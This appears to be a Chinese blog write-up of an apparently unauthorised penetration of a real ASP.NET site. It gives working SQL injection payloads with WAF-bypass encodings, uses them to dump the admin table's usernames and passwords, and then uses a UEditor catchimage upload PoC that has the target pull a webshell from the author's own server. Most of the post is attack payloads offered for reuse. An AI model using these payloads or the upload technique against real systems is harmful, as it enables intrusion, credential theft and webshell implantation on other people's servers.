此处为配图

0x01:前言

偶然又顺到一个站,暂且不提网站哪来的,重点在于渗透技巧,记录一下渗透过程

0x02:信息收集

这里我们可以得到的信息有:.net的网站,web服务器为IIS,平台为windows。

这里参数随便测试一下,加单引号

可见出现了弹窗error,应该是它本身也带有过滤,由于IIS处理%符号机制可以绕过部分符号,空格可以用%0b,加号可以用%2b绕过。同时也可以使用convert转换报错获取一部分信息 。

经过测试:

  • 单引号 error
  • 双引号 未拦截
  • 等号 error
  • 双括号 未拦截
  • and error
  • select error
  • %0bselect 未拦截
  • %0bselect%0buser%0bfrom 未拦截

使用convert()函数收集信息,convert函数在转换数据失败时会将第二个参数以sql语句执行。

  • ?gid=convert(int,@@version)#版本信息
  • ?gid=convert(int,db_name())#当前数据库
  • ?gid=convert(int,@@SERVERNAME)#当前计算机名
  • ?gid=convert(int,user_name())#当前数据库用户名
  • ?gid=convert(int,db_name(1))#通过遍历db_name(1)中的数字获取其他库名
  • ...

得到信息如下:

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_76\SQLEXPRESS 10..76.
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

0x03:绕过waf注入

此时已经得到了数据库名,接下来需要获得表名。先看看有几个表。

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

尝试将sql语句嵌入convert()函数执行,虽然绕过了狗,但是没过去它自带的过滤...

此处开始抄作业,原理是在mssql中注释加换行同样成立。

payload:?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/

但是继续注表名是需要 not in 和for xml path 的,这里始终失败。。。

最终查看了大量文章,得出如下语句

?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

此时只需要遍历top的数值即可,例如:

通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下: 首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

然后使用字典去重工具即可。

表个数确实为31

解下来就是获取memberadmin表中的列名与内容,为了省事直接看源码form表单参数名。

盲猜列名txt_nickname、nickname、txt_password、password

用户名:?gid=--/*%0A(select%0Btop%0B1%0Bnickname%0Bfrom%0Bmemberadmin)-- */

密码:?gid=--/*%0A(select%0Btop%0B1%0Bpassword%0Bfrom%0Bmemberadmin)-- */

0x04:获得webshell

进入后台/admin/index.aspx

小彩蛋,这边也有注入

发现上传点/信息管理/新闻管理处为编辑器ueditor,且上传存在安全狗,即使通过字段溢出也无法绕过程序本身的白名单限制

不过上传组件为ueditor,且.net版本存在上传漏洞 poc如下

<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

并在自己的服务器上准备好shell(注意过狗,最好是冰蝎马),名称为b.gif,然后填入shell地址,保持后台登录状态,因为需要cookie。


http://xxxxxx/b.gif?.aspx

提交即可得到shell路径

0x05:权限提升

失败//

0x06:结语

坑爹

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注